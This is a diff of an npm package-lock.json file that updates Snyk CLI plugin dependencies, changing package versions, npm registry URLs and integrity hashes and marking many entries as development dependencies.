- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "semver": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
- },
- "strip-ansi": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
- "requires": {
- "ansi-regex": "^4.1.0"
- }
- }
- }
- },
- "snyk-config": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-3.1.0.tgz",
- "integrity": "sha512-3UlyogA67/9WOssJ7s4d7gqWQRWyO/LbgdBBNMhhmFDKa7eTUSW+A782CVHgyDSJZ2kNANcMWwMiOL+h3p6zQg==",
- "requires": {
- "@snyk/lodash": "4.17.15-patch",
- "debug": "^4.1.1",
- "nconf": "^0.10.0"
- },
- "dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- }
- }
- },
- "snyk-docker-plugin": {
- "version": "3.16.0",
- "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz",
- "integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==",
- "requires": {
- "@snyk/rpm-parser": "^2.0.0",
- "@snyk/snyk-docker-pull": "^3.2.0",
- "debug": "^4.1.1",
- "docker-modem": "2.1.3",
- "dockerfile-ast": "0.0.19",
- "event-loop-spinner": "^2.0.0",
- "gunzip-maybe": "^1.4.2",
- "mkdirp": "^1.0.4",
- "semver": "^6.1.0",
- "snyk-nodejs-lockfile-parser": "1.22.0",
- "tar-stream": "^2.1.0",
- "tmp": "^0.2.1",
- "tslib": "^1",
- "uuid": "^8.2.0"
- },
- "dependencies": {
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
+ "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.0.5"
}
},
"mkdirp": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
- "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
+ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+ "dev": true
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "rimraf": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
- "requires": {
- "glob": "^7.1.3"
- }
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
},
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
},
- "snyk-nodejs-lockfile-parser": {
- "version": "1.22.0",
- "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.22.0.tgz",
- "integrity": "sha512-l6jLoJxqcIIkQopSdQuAstXdMw5AIgLu+uGc5CYpHyw8fYqOwna8rawwofNeGuwJAAv4nEiNiexeYaR88OCq6Q==",
+ "strip-ansi": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "dev": true,
"requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "@snyk/lodash": "^4.17.15-patch",
- "@yarnpkg/lockfile": "^1.0.2",
- "event-loop-spinner": "^1.1.0",
- "p-map": "2.1.0",
- "snyk-config": "^3.0.0",
- "source-map-support": "^0.5.7",
- "tslib": "^1.9.3",
- "uuid": "^3.3.2"
- },
- "dependencies": {
- "event-loop-spinner": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz",
- "integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==",
- "requires": {
- "tslib": "^1.10.0"
- }
- },
- "uuid": {
- "version": "3.4.0",
- "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
- "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
- }
+ "ansi-regex": "^4.1.0"
}
},
- "tmp": {
- "version": "0.2.1",
- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
- "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "tar": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.0.tgz",
+ "integrity": "sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==",
+ "dev": true,
"requires": {
- "rimraf": "^3.0.0"
+ "chownr": "^2.0.0",
+ "fs-minipass": "^2.0.0",
+ "minipass": "^3.0.0",
+ "minizlib": "^2.1.1",
+ "mkdirp": "^1.0.3",
+ "yallist": "^4.0.0"
}
},
- "uuid": {
- "version": "8.3.0",
- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz",
- "integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ=="
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
}
}
},
- "snyk-go-parser": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz",
- "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==",
+ "snyk-config": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-4.0.0.tgz",
+ "integrity": "sha512-E6jNe0oUjjzVASWBOAc/mA23DhbzABDF9MI6UZvl0gylh2NSXSXw2/LjlqMNOKL2c1qkbSkzLOdIX5XACoLCAQ==",
+ "dev": true,
"requires": {
- "toml": "^3.0.0",
- "tslib": "^1.10.0"
- }
- },
- "snyk-go-plugin": {
- "version": "1.16.0",
- "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.16.0.tgz",
- "integrity": "sha512-XNGHEFyP+pCzcqmXnj5T/1Oy6AZzm2WkTSuUpohWQ/09ecMRCCv2yrr/kwMQemrKN4+7CoJS/9xfm3GnNlzVHA==",
- "requires": {
- "@snyk/dep-graph": "1.19.3",
- "@snyk/graphlib": "2.1.9-patch",
+ "async": "^3.2.0",
"debug": "^4.1.1",
- "snyk-go-parser": "1.4.1",
- "tmp": "0.2.0",
- "tslib": "^1.10.0"
+ "lodash.merge": "^4.6.2",
+ "minimist": "^1.2.5"
},
"dependencies": {
- "@snyk/dep-graph": {
- "version": "1.19.3",
- "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.3.tgz",
- "integrity": "sha512-WJLUFKBokoFK5imi0t8Dkyj+uqtS/5Ziuf4oE/OOFX30UqP1ffMDkv9/3sqBJQVQ9FjdgsX3Cm8JZMtMlYRc6w==",
- "requires": {
- "@snyk/graphlib": "2.1.9-patch.2",
- "lodash.isequal": "^4.5.0",
- "object-hash": "^2.0.3",
- "semver": "^6.0.0",
- "source-map-support": "^0.5.19",
- "tslib": "^1.13.0"
- },
- "dependencies": {
- "@snyk/graphlib": {
- "version": "2.1.9-patch.2",
- "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.2.tgz",
- "integrity": "sha512-BjJzOXDNzoEMBOjSks7vadu5f0c39SeorJMi9vUvvWM5dcE22CZqcN9VMRW5DYTifUJiCWszkm5TOyfYfB0bfg==",
- "requires": {
- "lodash.clone": "^4.5.0",
- "lodash.constant": "^3.0.0",
- "lodash.filter": "^4.6.0",
- "lodash.foreach": "^4.5.0",
- "lodash.has": "^4.5.2",
- "lodash.isarray": "^4.0.0",
- "lodash.isempty": "^4.4.0",
- "lodash.isfunction": "^3.0.9",
- "lodash.isundefined": "^3.0.1",
- "lodash.keys": "^4.2.0",
- "lodash.map": "^4.6.0",
- "lodash.reduce": "^4.6.0",
- "lodash.size": "^4.2.0",
- "lodash.transform": "^4.6.0",
- "lodash.union": "^4.6.0",
- "lodash.values": "^4.3.0"
- }
- },
- "tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
- }
- }
+ "async": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.0.tgz",
+ "integrity": "sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==",
+ "dev": true
},
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "rimraf": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
- "requires": {
- "glob": "^7.1.3"
- }
- },
- "semver": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
- },
- "tmp": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.0.tgz",
- "integrity": "sha512-spsb5g6EiPmteS5TcOAECU3rltCMDMp4VMU2Sb0+WttN4qGobEkMAd+dkr1cubscN08JGNDX765dPbGImbG7MQ==",
- "requires": {
- "rimraf": "^3.0.0"
- }
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
- "snyk-gradle-plugin": {
- "version": "3.5.1",
- "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.5.1.tgz",
- "integrity": "sha512-8tZwQCqRbjp1azvc+bBRXSbn2AjbUpFAM6qoSpM/IZpfGl1RaOtz4/JTkGFxj+iBhTFoAkGxEunT66eO0pHZZw==",
+ "snyk-cpp-plugin": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/snyk-cpp-plugin/-/snyk-cpp-plugin-2.2.1.tgz",
+ "integrity": "sha512-NFwVLMCqKTocY66gcim0ukF6e31VRDJqDapg5sy3vCHqlD1OCNUXSK/aI4VQEEndDrsnFmQepsL5KpEU0dDRIQ==",
+ "dev": true,
"requires": {
- "@snyk/cli-interface": "2.8.0",
- "@snyk/dep-graph": "^1.17.0",
- "@types/debug": "^4.1.4",
- "chalk": "^3.0.0",
+ "@snyk/dep-graph": "^1.19.3",
+ "chalk": "^4.1.0",
"debug": "^4.1.1",
- "tmp": "0.2.1",
+ "hosted-git-info": "^3.0.7",
"tslib": "^2.0.0"
},
"dependencies": {
- "@snyk/cli-interface": {
- "version": "2.8.0",
- "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz",
- "integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==",
- "requires": {
- "@snyk/dep-graph": "1.19.0",
- "@snyk/graphlib": "2.1.9-patch",
- "tslib": "^1.9.3"
- },
- "dependencies": {
- "@snyk/dep-graph": {
- "version": "1.19.0",
- "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz",
- "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==",
- "requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "lodash.isequal": "^4.5.0",
- "object-hash": "^2.0.3",
- "semver": "^6.0.0",
- "source-map-support": "^0.5.19",
- "tslib": "^2.0.0"
- },
- "dependencies": {
- "tslib": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
- "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
- }
- }
- },
- "tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
- }
- }
- },
"ansi-styles": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
- "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
"requires": {
- "@types/color-name": "^1.1.1",
"color-convert": "^2.0.1"
}
},
"chalk": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
- "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
"requires": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
@@ -15243,6 +19188,7 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
"integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
"requires": {
"color-name": "~1.1.4"
}
@@ -15250,83 +19196,29 @@
"color-name": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
},
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"has-flag": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
- },
- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "rimraf": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
- "requires": {
- "glob": "^7.1.3"
- }
- },
- "semver": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
- },
- "supports-color": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
- "requires": {
- "has-flag": "^4.0.0"
- }
- },
- "tmp": {
- "version": "0.2.1",
- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
- "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
- "requires": {
- "rimraf": "^3.0.0"
- }
- },
- "tslib": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
- "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
- }
- }
- },
- "snyk-module": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz",
- "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==",
- "requires": {
- "debug": "^4.1.1",
- "hosted-git-info": "^3.0.4"
- },
- "dependencies": {
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
- "requires": {
- "ms": "^2.1.1"
- }
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
},
"hosted-git-info": {
- "version": "3.0.5",
- "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.5.tgz",
- "integrity": "sha512-i4dpK6xj9BIpVOTboXIlKG9+8HMKggcrMX7WA24xZtKwX0TPelq/rbaS5rCKeNX8sJXZJGdSxpnEGtta+wismQ==",
+ "version": "3.0.8",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz",
+ "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==",
+ "dev": true,
"requires": {
"lru-cache": "^6.0.0"
}
@@ -15335,6 +19227,7 @@
"version": "6.0.0",
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
"integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
"requires": {
"yallist": "^4.0.0"
}
@@ -15342,104 +19235,525 @@
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
},
"yallist": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
}
}
},
- "snyk-mvn-plugin": {
- "version": "2.19.1",
- "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz",
- "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==",
+ "snyk-docker-plugin": {
+ "version": "4.19.3",
+ "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-4.19.3.tgz",
+ "integrity": "sha512-5WkXyT7uY5NrTOvEqxeMqb6dDcskT3c/gbHUTOyPuvE6tMut+OOYK8RRXbwZFeLzpS8asq4e1R7U7syYG3VXwg==",
+ "dev": true,
"requires": {
- "@snyk/cli-interface": "2.8.1",
- "@snyk/java-call-graph-builder": "1.13.1",
+ "@snyk/dep-graph": "^1.21.0",
+ "@snyk/rpm-parser": "^2.0.0",
+ "@snyk/snyk-docker-pull": "3.2.3",
+ "chalk": "^2.4.2",
"debug": "^4.1.1",
